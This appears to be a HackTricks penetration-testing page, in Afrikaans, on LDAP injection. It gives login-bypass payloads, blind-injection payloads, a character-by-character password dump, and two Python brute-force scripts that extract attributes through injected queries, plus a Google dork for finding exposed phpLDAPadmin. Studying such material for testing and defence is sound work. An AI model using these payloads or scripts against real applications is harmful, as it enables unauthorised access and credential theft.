hacktricks/pentesting-web/ldap-injection.md

# LDAP Injection

## LDAP Injection

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## LDAP Injection

### **LDAP**

**As jy wil weet wat LDAP is, besoek die volgende bladsy:**

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}

**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.

{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}

**Filter** = ( filtercomp )\
**Filtercomp** = en / of / nie / item\
**En** = & filterlist\
**Of** = |filterlist\
**Nie** = ! filter\
**Filterlist** = 1\*filter\
**Item**= eenvoudig / teenwoordig / substring\
**Eenvoudig** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Teenwoordig** = attr = \*\
**Substring** = attr ”=” \[begin] \* \[eindig]\
**Begin** = assertionvalue\
**Eindig** = assertionvalue\
**(&)** = Absolute WAAR\
**(|)** = Absolute VALSE

Byvoorbeeld:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`

Jy kan toegang tot die databasis verkry, en dit kan inligting van 'n verskeidenheid verskillende tipes bevat.

**OpenLDAP**: As 2 filters aankom, voer slegs die eerste een uit.\
**ADAM of Microsoft LDS**: Met 2 filters gooi hulle 'n fout.\
**SunOne Directory Server 5.0**: Voer albei filters uit.

**Dit is baie belangrik om die filter met die korrekte sintaksis te stuur of 'n fout sal gegooi word. Dit is beter om slegs 1 filter te stuur.**

Die filter moet begin met: `&` of `|`\
Voorbeeld: `(&(directory=val1)(folder=public))`

`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`

Dan: `(&(objectClass=`**`*)(ObjectClass=*))`** sal die eerste filter wees (die een wat uitgevoer word).

### Login Bypass

LDAP ondersteun verskeie formate om die wagwoord te stoor: duidelik, md5, smd5, sh1, sha, crypt. So, dit kan wees dat ongeag wat jy binne die wagwoord invoer, dit gehashel word.
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```

```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```

```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```

```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```

```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```

```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```

```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```

```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```

```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Lyste

* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [LDAP Attribuut](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [LDAP PosixAccount attribuut](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)

### Blind LDAP Inspuiting

Jy kan vals of waar antwoorde afdwing om te kontroleer of enige data teruggestuur word en 'n moontlike Blind LDAP Inspuiting te bevestig:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```

```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Dump data

Jy kan oor die ascii letters, syfers en simbole herhaal:
```bash
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
```
### Scripts

#### **Ontdek geldige LDAP-velde**

LDAP-objekte **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **allemaal te brute-force om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) vind.
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Spesiale Blinde LDAP Inspuiting (sonder "\*")**
```python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### Meer Payloads

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

As jy belangstel in **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).

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